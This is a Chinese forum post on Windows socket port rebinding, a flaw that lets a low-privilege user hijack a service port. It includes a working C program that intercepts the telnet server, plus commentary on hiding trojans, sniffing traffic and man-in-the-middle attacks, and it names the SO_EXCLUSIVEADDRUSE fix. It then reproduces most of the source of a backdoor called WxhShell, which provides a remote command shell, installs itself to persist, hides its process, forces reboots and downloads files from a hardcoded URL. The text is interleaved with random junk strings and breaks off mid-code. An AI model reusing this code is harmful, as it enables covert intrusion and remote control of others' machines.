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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: st+X~;PX*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]Tx8ImD#)A  
7K {/2k  
  saddr.sin_family = AF_INET; t /EB y"N#  
%kKe"$)0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &owBmpz  
_udH(NC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B&O931E7  
m%qah>11  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?h<I:[oZ  
n;xtUw6 \  
  这意味着什么?意味着可以进行如下的攻击: TStu)6%`  
TsfOod   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P%ev8]2  
#J\ 2/~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ++5W_Ooep  
)o SFHf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Me`jh8(K\6  
&t5pJ`$(Cy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O<)"k j 7  
)DI/y1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !FA^~  
y4C_G?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =zK7`5  
PHyS^J`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z<m,Xj4w  
f:KKOLm  
  #include =xS(Er`r  
  #include qCc'w8A  
  #include `N_NzH  
  #include    o/CSIvz1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;Tvy)*{  
  int main() oi::/W|A+  
  { 1YTnOiYS1  
  WORD wVersionRequested; ]O,!B''8k  
  DWORD ret; "6gu6f  
  WSADATA wsaData; 5Q?7 xTQ  
  BOOL val; )^|zuYzN  
  SOCKADDR_IN saddr; ]mn(lK  
  SOCKADDR_IN scaddr; 0"ZB|^c=  
  int err; kgEGL]G>  
  SOCKET s; G!ty@ Fx  
  SOCKET sc; s~6?p% 2]  
  int caddsize; Hd U1gV>  
  HANDLE mt; DCACj-f  
  DWORD tid;   `2o/W]SSk  
  wVersionRequested = MAKEWORD( 2, 2 ); c}U&!R2p{  
  err = WSAStartup( wVersionRequested, &wsaData ); Y 'Yoc  
  if ( err != 0 ) { C8m8ys  
  printf("error!WSAStartup failed!\n"); }e9E+2}Z\  
  return -1; 51*o&:eim  
  } ([qw#!;w;  
  saddr.sin_family = AF_INET; &s_[~g<  
   HfFP4#C,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N*|Mfpf  
JrQd7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u%Hegqn  
  saddr.sin_port = htons(23); 6w0/;8(_m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z h)Qq?H  
  { $Dxz21|P7  
  printf("error!socket failed!\n"); h:Q*T*py  
  return -1; 1Yo9Wf;vP  
  } c]P`U(q9TV  
  val = TRUE; P B.@G,)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IR;lt 3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J-:\^uP  
  { ReE6h\j  
  printf("error!setsockopt failed!\n"); +`r;3kH ..  
  return -1; |O%`-2p]p  
  } </>;PnzE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V&-pgxf;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ac6L3=u\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %?' jyK  
;_@u@$=~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9*h?g+\  
  { ;$ D*,W *  
  ret=GetLastError(); ]S[M]-I  
  printf("error!bind failed!\n"); 6#MIt:#  
  return -1; !_QE|tVeR  
  } .RxH-]xk  
  listen(s,2); V2W)%c'  
  while(1) I0h/x5  
  { XkHO=  
  caddsize = sizeof(scaddr); $VvL  
  //接受连接请求 *[]7l]XK.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +H,/W_/g  
  if(sc!=INVALID_SOCKET) fil'._  
  { Pn\ Lg8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +?5nkhH  
  if(mt==NULL) 6+b!|`?l+  
  { y Rr,+>W  
  printf("Thread Creat Failed!\n"); Qr6[h!  
  break; z4D[>2*  
  } G1K5J`"*  
  } Wsyq  
  CloseHandle(mt); x{`>Il  
  } /XEUJC4  
  closesocket(s); h$)+$^YI  
  WSACleanup(); K9\`Wu_qL  
  return 0; ne4j_!V{Mf  
  }   2%y}El^+_  
  DWORD WINAPI ClientThread(LPVOID lpParam) _5uzu6:y  
  { 56;lB$)"  
  SOCKET ss = (SOCKET)lpParam; Cb~_{$A  
  SOCKET sc; Q&}`( ]k  
  unsigned char buf[4096]; -& I)3  
  SOCKADDR_IN saddr; R*3x{DNL  
  long num; R#eY@N}\  
  DWORD val; v) mO"\  
  DWORD ret; ZW{pO:-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^ a#Vp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R#.FfWTZ  
  saddr.sin_family = AF_INET; >T[1=;o]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PE4#dx^  
  saddr.sin_port = htons(23); :8cp]v dW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i1e|UR-wl  
  { bnt>j0E  
  printf("error!socket failed!\n"); y=_8ae}aD~  
  return -1; 'te4mY}  
  } AP&mr1_  
  val = 100; 'gHa3:US  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I&^ B?"Y  
  { uO8z.  
  ret = GetLastError(); DUUQz:?{J  
  return -1; >0z(+}]3z  
  } M@ILB-H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bq#*XCt#  
  { r)UtS4 7  
  ret = GetLastError(); dY'/\dJ  
  return -1; &i179Qg!  
  } xs y5"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &,/_"N"?D  
  { #!(OTe L  
  printf("error!socket connect failed!\n"); 6}zargu(;  
  closesocket(sc); c193Or'6Y  
  closesocket(ss);  MO|aN,  
  return -1; [}Vne;V  
  } `./$hh  
  while(1) XC"]/ y  
  { Goa0OC,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D=uU:7m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EUZ#o\6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2MaHD}1Jw  
  num = recv(ss,buf,4096,0); f}Mx\dc  
  if(num>0) ?*lpu  
  send(sc,buf,num,0); @(Q 'J`  
  else if(num==0) ;K]6/Wt  
  break; rvrv[^a(  
  num = recv(sc,buf,4096,0); |zhVl  
  if(num>0) ;LSdY}*%0  
  send(ss,buf,num,0); R+ #(\  
  else if(num==0) {+r0Nikx_  
  break; ?hu}wl)  
  } *\ZK(/V  
  closesocket(ss); xV@/z5Tq  
  closesocket(sc); R3=PV{`M  
  return 0 ; ?Ho~6q8O@  
  } Gzy"$t  
7@iyO7U  
`(NMHXgG+  
========================================================== Dg(882#_  
=w&JDj  
下边附上一个代码,,WXhSHELL J;"66ue(d  
aF2vw{wT}  
========================================================== Tv2d?y  
&cy @Be}|T  
#include "stdafx.h" 0RmQfD>  
t:|knZq  
#include <stdio.h> LA?h+)  
#include <string.h> sswYwU  
#include <windows.h> Bs7/<$9K/  
#include <winsock2.h> $}kT )+K  
#include <winsvc.h> GddP)l{uCF  
#include <urlmon.h> 8~Avg6,  
hI249gW9  
#pragma comment (lib, "Ws2_32.lib") ^W}(]jL  
#pragma comment (lib, "urlmon.lib") #J&45  
\H <k  
#define MAX_USER   100 // 最大客户端连接数 Y v22,|:  
#define BUF_SOCK   200 // sock buffer &)Y26*(`  
#define KEY_BUFF   255 // 输入 buffer HAa$ pGb  
]3UEju8$  
#define REBOOT     0   // 重启 ';<gc5EK  
#define SHUTDOWN   1   // 关机 1Q-O&\-xg  
=P>c1T1-  
#define DEF_PORT   5000 // 监听端口 cbsU!8  
|-kU]NJFR  
#define REG_LEN     16   // 注册表键长度 |cKo#nfzZ  
#define SVC_LEN     80   // NT服务名长度 ?8 dd^iX/  
6, =oTmFP  
// 从dll定义API o1I8l7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lI#Ap2@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7Uy49cs,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zW[fHa$m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9a4Xf%!F>z  
}\+7*|  
// wxhshell配置信息 -1^dOG6*  
struct WSCFG { Qe8F(k~k  
  int ws_port;         // 监听端口 rVq=,>M9  
  char ws_passstr[REG_LEN]; // 口令 A"FlH:Pn  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1$e z}k,  
  char ws_regname[REG_LEN]; // 注册表键名 C72?vAc,F  
  char ws_svcname[REG_LEN]; // 服务名 Es6b~ #  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E6|!G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JS% &ipm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  (-DA%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $/5<f<%u&)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u{xjFx-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /\*,|y\<  
0{g@j{Lbz  
}; s`M[/i3Nm  
tJo,^fdfv  
// default Wxhshell configuration _XIls*6AK  
struct WSCFG wscfg={DEF_PORT, tmiRv.Mhn<  
    "xuhuanlingzhe", FCTz>N^p  
    1, Fv=7~6~  
    "Wxhshell", Xm&L@2V  
    "Wxhshell", =( b;Cow  
            "WxhShell Service", awN{F6@ZE  
    "Wrsky Windows CmdShell Service", | iEhe  
    "Please Input Your Password: ", qW[p .jN  
  1, cy8+@77  
  "http://www.wrsky.com/wxhshell.exe", YUd*\_  
  "Wxhshell.exe" rRyBGEj  
    }; 9H:5XR  
}yCJ#}  
// 消息定义模块 N8|=K_;&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |4//%Ll/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qG3 [5lti  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [b-27\b  
char *msg_ws_ext="\n\rExit."; z:<mgp&/<  
char *msg_ws_end="\n\rQuit."; K}ACZT)Wp  
char *msg_ws_boot="\n\rReboot..."; 2T/C!^iJ)  
char *msg_ws_poff="\n\rShutdown..."; ! )$ PD@  
char *msg_ws_down="\n\rSave to "; N+)4]ir>  
{Buoo~  
char *msg_ws_err="\n\rErr!"; V_jVVy30Ji  
char *msg_ws_ok="\n\rOK!"; ;m$F~!Y  
bA\TuB  
char ExeFile[MAX_PATH]; +cv7]  
int nUser = 0; OJ$169@;  
HANDLE handles[MAX_USER]; .E:[ \H"  
int OsIsNt; 2xRb$QF  
0/P!rH9  
SERVICE_STATUS       serviceStatus; U*F|Z4{W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F_;oZ   
49n.Gc  
// 函数声明 |eL&hwqzG  
int Install(void); ) ?rJKr[`  
int Uninstall(void); /=Bz[ O  
int DownloadFile(char *sURL, SOCKET wsh); f 'aQ T  
int Boot(int flag); 9i@AOU  
void HideProc(void); {Pm^G^EP  
int GetOsVer(void); k+S+ : 5  
int Wxhshell(SOCKET wsl); $@d`Kz;  
void TalkWithClient(void *cs); )}L*8 LV  
int CmdShell(SOCKET sock); 'Ht$LqG  
int StartFromService(void); r4caIV  
int StartWxhshell(LPSTR lpCmdLine); EJY[M  
WL-+;h@VQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X&DuX %x0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^57[&{MuBF  
j{N;2#.u  
// 数据结构和表定义 p.i$[6M  
SERVICE_TABLE_ENTRY DispatchTable[] = 1;r^QAK&  
{ 7r?O(0>  
{wscfg.ws_svcname, NTServiceMain}, :7%JD.;W  
{NULL, NULL} o+{}O_r  
}; KTxdZt  
{LTb-CB  
// 自我安装 x-+[gNc 6  
int Install(void) m>2b %GTh  
{ XPXC7_fV  
  char svExeFile[MAX_PATH]; |o~<Ti6]  
  HKEY key; nMc3.fM  
  strcpy(svExeFile,ExeFile); 9oS\{[x.  
vgOmcf%;  
// 如果是win9x系统,修改注册表设为自启动 @eMDRbgq;[  
if(!OsIsNt) { (u85$_C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >bxT_qEm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VpMpZ9oM<  
  RegCloseKey(key); nS[0g^}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #{7=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pgf$GXE  
  RegCloseKey(key); >`= '~y8  
  return 0; o*97Nbjn  
    } =O1CxsKt6  
  } V S2p"0$3D  
} >#dNXH]9  
else { H7G*Vg  
&q1(v3cOO  
// 如果是NT以上系统,安装为系统服务 wRf_IBhCd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I%%\;Dy  
if (schSCManager!=0) =Y|TShKk  
{ lT$Vv= M  
  SC_HANDLE schService = CreateService NI=t)[\F  
  ( (Z.K3  
  schSCManager, yXY8 o E  
  wscfg.ws_svcname, @Qd6a:-6  
  wscfg.ws_svcdisp, iKV;>gF,)v  
  SERVICE_ALL_ACCESS, -"Lia!Q]M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *j><a  
  SERVICE_AUTO_START, eJE?H]  
  SERVICE_ERROR_NORMAL, 9?gLi!rd  
  svExeFile, ,!kqEIp%  
  NULL, +Es3iE @  
  NULL, 9C[3w[G~C  
  NULL, Rg<y8~|'}  
  NULL, N4!YaQQ;}  
  NULL 8U\;N  
  ); Ia)wlA02S  
  if (schService!=0) o; 6\  
  { M]jzbJ3Q  
  CloseServiceHandle(schService); 4 u X<sJ*  
  CloseServiceHandle(schSCManager); W>dS@;E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |k)h' ?  
  strcat(svExeFile,wscfg.ws_svcname); (Z)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [:a;|t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cG?RisSZ  
  RegCloseKey(key); "My \&0-  
  return 0; )Be}Ev#)Zx  
    } ma~WJ0LM\  
  } dSsMa3X[n  
  CloseServiceHandle(schSCManager); (o{QSk\  
} q ]rsp0P2  
} XIJ>\ RF  
h\C  
return 1; o?$D09j;;  
} [rU8%  
H h$D:ZO  
// 自我卸载 )oG_x{  
int Uninstall(void) r&0v,WSp&S  
{ $tj[ *  
  HKEY key; cliP+#  
)Y Qtrc\91  
if(!OsIsNt) { n0O- Bxhl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FlD !?  
  RegDeleteValue(key,wscfg.ws_regname); SR%h=`t  
  RegCloseKey(key); "J, ErnM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  s4;SA  
  RegDeleteValue(key,wscfg.ws_regname); q<r{ps  
  RegCloseKey(key); MCe =RR  
  return 0; #]:yCiA  
  } j9) Z'L  
} (Pin9^`ALc  
} w80g) 4V+  
else { !(w\%$|  
MJ8z"SKnV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Q~ng2Wv%  
if (schSCManager!=0) 53=s'DZ  
{ wCkhE,#-_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q6RBZucv  
  if (schService!=0) t{Q9Kv  
  { op"RrZAZBT  
  if(DeleteService(schService)!=0) { 87>\wUJ  
  CloseServiceHandle(schService); M!,$i  
  CloseServiceHandle(schSCManager); }Wn6r_:  
  return 0; 1 ;4TA}'H  
  } }a'8lwF%I  
  CloseServiceHandle(schService); |mc!v*O  
  }  z4&|~-m,  
  CloseServiceHandle(schSCManager); ,N< xyx.  
} 3E+u)f lmB  
} v /G,  
Jf|J":S  
return 1; |TkMrj0  
} J5mMx)t@  
.?<,J  
// 从指定url下载文件 3O:Z;YP:<  
int DownloadFile(char *sURL, SOCKET wsh) n3g3(} Q0  
{ hJkIFyQ{j  
  HRESULT hr; b9%hzD,MR  
char seps[]= "/"; B7fURL Rqr  
char *token; U9y[b82  
char *file; ?r'rvu'/  
char myURL[MAX_PATH]; egYJ.ZzF0  
char myFILE[MAX_PATH]; }RO Cj,|  
*<i { Mb Q  
strcpy(myURL,sURL); tOn/r@Fd^E  
  token=strtok(myURL,seps); >IJH#>i  
  while(token!=NULL) f]qP xRw  
  { /Pxt f~$  
    file=token; dK#:io[Nz  
  token=strtok(NULL,seps); G9 ;X=c  
  } ) 'j7Ra  
{uM*.]  
GetCurrentDirectory(MAX_PATH,myFILE); <KoiZ{V   
strcat(myFILE, "\\"); %{Kp#R5E  
strcat(myFILE, file); 3T'9_v[Y  
  send(wsh,myFILE,strlen(myFILE),0); VWj]X7v  
send(wsh,"...",3,0); %|I~8>m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yS0!#AG  
  if(hr==S_OK) yrSmI)&%  
return 0; ,gVA^]eDh  
else X/}kNW!q  
return 1; dAh&Z:86\  
7.,C'^ci  
} _s[ohMlh  
[d`J2^z}  
// 系统电源模块 bg'Qq|<U  
int Boot(int flag) h#dp_#  
{ Sp]"Xr)  
  HANDLE hToken; W;4rhZEgd  
  TOKEN_PRIVILEGES tkp; ]u?|3y^ (  
9{RCh 9  
  if(OsIsNt) { &xo_93  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *39Y1+=)$$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C< 3` ]l  
    tkp.PrivilegeCount = 1; s!:'3[7+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pZ,=iqr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q bjO*:c4  
if(flag==REBOOT) { I<L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,bzE`6  
  return 0; 0/5 a3-3{  
}  O{R)0&  
else { t6DgWKT6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D_]4]&QYT  
  return 0; " R!,5HQF;  
} eS-akx^@  
  } R&KFF'%  
  else { o-a\T  
if(flag==REBOOT) { p{ X?_F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `k2YH?  
  return 0; /*Iq,"kGz  
} UR?biq  
else { 6l]jm j)/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h*d1G9%Q1  
  return 0; Iz^h| n  
} opsjei@  
} ;O8'vp  
_}+Aw{7!r  
return 1; o-i9 :AHs  
} a;bmZh  
3MX&%_wUhB  
// win9x进程隐藏模块 '^B[Krs'Z`  
void HideProc(void) yUnNf 2i  
{ =D;n#n7  
=d`w~iC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gk:tT1  
  if ( hKernel != NULL ) P^[eTR*?  
  { Rax]svc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tE'^O< K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tVQq,_9C  
    FreeLibrary(hKernel); "`Q &s  
  } B']-4X{SGa  
4j|IG/m  
return; E<RPMd @a  
} Ls<^z@I  
A |u-VXQ  
// 获取操作系统版本 cl04fqX  
int GetOsVer(void) s!<RWy+  
{ A(eB\qG  
  OSVERSIONINFO winfo; *'w?j)}A9g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a\-AGG{2/X  
  GetVersionEx(&winfo); j%+>y;).  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x" lcE@(  
  return 1; [s4|+  
  else IJ]rVty  
  return 0; r[g  
} hsB3zqotF  
:%_\!FvS  
// 客户端句柄模块 =U7P\s w2  
int Wxhshell(SOCKET wsl) PctXh, =  
{ JR_%v=n~x  
  SOCKET wsh; v}LI-~M>U  
  struct sockaddr_in client; ZJe^MnE (G  
  DWORD myID; BItH0r7  
D%}rQ,*  
  while(nUser<MAX_USER) =kTHfdin&  
{ dBw7l}  
  int nSize=sizeof(client); YdDP;, DA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +=:_a$98  
  if(wsh==INVALID_SOCKET) return 1; {p.^E5&  
O^J=19Ri  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !>\&*h-Cm#  
if(handles[nUser]==0) A+|bJ>q  
  closesocket(wsh); Q6)?#7<jy  
else zLgc j(;  
  nUser++;  !2kM  
  } %QG3~b% h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uK] -m  
5dGfO:Dy_  
  return 0; <2d)4@B=  
} -T}r$A  
15@2h  
// 关闭 socket r+8)<Xt+p  
void CloseIt(SOCKET wsh) yAAV,?:o[  
{ #+QJ5VI :  
closesocket(wsh); uI$n7\G!  
nUser--; NN#k^[i1  
ExitThread(0); 4> uNH5  
} n }b{u@$  
^k*%`iQ  
// 客户端请求句柄 [>N#61CV 5  
void TalkWithClient(void *cs) 0SU v5c  
{ uH?dy55 Y  
idB1%?<  
  SOCKET wsh=(SOCKET)cs; oi m7=I0  
  char pwd[SVC_LEN]; -:95ypi  
  char cmd[KEY_BUFF]; j!@T@ 8J  
char chr[1]; F?$Vx)HI  
int i,j; vf zC2  
=;+gge!?bB  
  while (nUser < MAX_USER) { O|S,="h"}  
L(bDk'zi  
if(wscfg.ws_passstr) { v4Wq0>o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _CPj] m{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cRH(@b Xr  
  //ZeroMemory(pwd,KEY_BUFF); wo+`WnDh  
      i=0; z . Z  
  while(i<SVC_LEN) { 6fo\ z2  
@  R[K8  
  // 设置超时 ~n8UN<  
  fd_set FdRead; #1%ahPhR+  
  struct timeval TimeOut; RP$h;0EQG  
  FD_ZERO(&FdRead); %%|pJ%}Q>  
  FD_SET(wsh,&FdRead); >yr;Y4y7K  
  TimeOut.tv_sec=8; /lbj!\~  
  TimeOut.tv_usec=0; W/\pqH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )H@<A93  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <jh7G  
-.r"|\1X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TFG? EO  
  pwd=chr[0]; k,$/l1D  
  if(chr[0]==0xd || chr[0]==0xa) { |fywqQFq  
  pwd=0; bfpeK>T  
  break; 3b\s;!  
  } ;e*okYM  
  i++; 4evNZ Q  
    } ^\g.iuE  
yH=<KYk  
  // 如果是非法用户,关闭 socket  6/#+#T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '%4fQ%ID}  
} W**[:n+  
}-sh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SOE-Kio=B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =xDxX#3  
%19~9Tw  
while(1) {  pdm(7^  
,}\LC;31,  
  ZeroMemory(cmd,KEY_BUFF); @sG*u >   
t{ yj`Vg  
      // 自动支持客户端 telnet标准   ?FNgJx*\S  
  j=0; dH.Fb/7f  
  while(j<KEY_BUFF) { V,rR*a&p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fPHV]8Ft|  
  cmd[j]=chr[0]; $W=)-X\>  
  if(chr[0]==0xa || chr[0]==0xd) { xI<B)6D;f  
  cmd[j]=0; \pkK >R  
  break; MM]0}65KG  
  } %TRJ  
  j++; BriL ^]  
    } @I|kY5'c  
lAA&#-#YG  
  // 下载文件 *Gv:N6  
  if(strstr(cmd,"http://")) { /s%-c!o^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "=K3sk  
  if(DownloadFile(cmd,wsh)) WV'u}-v^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 43y@9P0  
  else L~e0^X?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g]JRAM  
  } N%'(8%;  
  else { wLiPkW  
~8 UMwpl-  
    switch(cmd[0]) { /eU\B^k  
  !( +M  
  // 帮助 k"%JyO8Y  
  case '?': { uH? 4d!G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l" ~ CAw;  
    break; 6iXV  
  } _-H,S)kI`  
  // 安装 0}`.Z03fy  
  case 'i': { R\X;`ptT  
    if(Install()) mXhC-8P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RTvOaZ  
    else 'AWWdz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  \v+c.  
    break; 4,W,E4 7  
    } #@w/S:KbJt  
  // 卸载 Im-qGB0C  
  case 'r': { "[k>pzl6  
    if(Uninstall()) 6:8Nz   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z79oj\&[  
    else etX(~"gG_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 <`e]PT  
    break; +A1*e+/b\  
    } RrH{Y0  
  // 显示 wxhshell 所在路径 !mWm@ }Ujg  
  case 'p': { kREFh4QO,  
    char svExeFile[MAX_PATH]; ~.J*_0~Ze  
    strcpy(svExeFile,"\n\r"); of7p~{3H  
      strcat(svExeFile,ExeFile); hT_Q_1,  
        send(wsh,svExeFile,strlen(svExeFile),0); YM NLn9  
    break; DzA'MX  
    } pbqk  
  // 重启 |{-?OOKj  
  case 'b': { o(> #}[N}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m+7%]$  
    if(Boot(REBOOT)) =zrfh-lwH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}C-W* f,Z  
    else { ]oz>/\!  
    closesocket(wsh); `-cw[@uD  
    ExitThread(0); k#~oagW_Gw  
    } Uc ,..  
    break; ZQir?1=  
    } 65U\;Ew  
  // 关机 Y`$\o  
  case 'd': { Unq~lt%2  
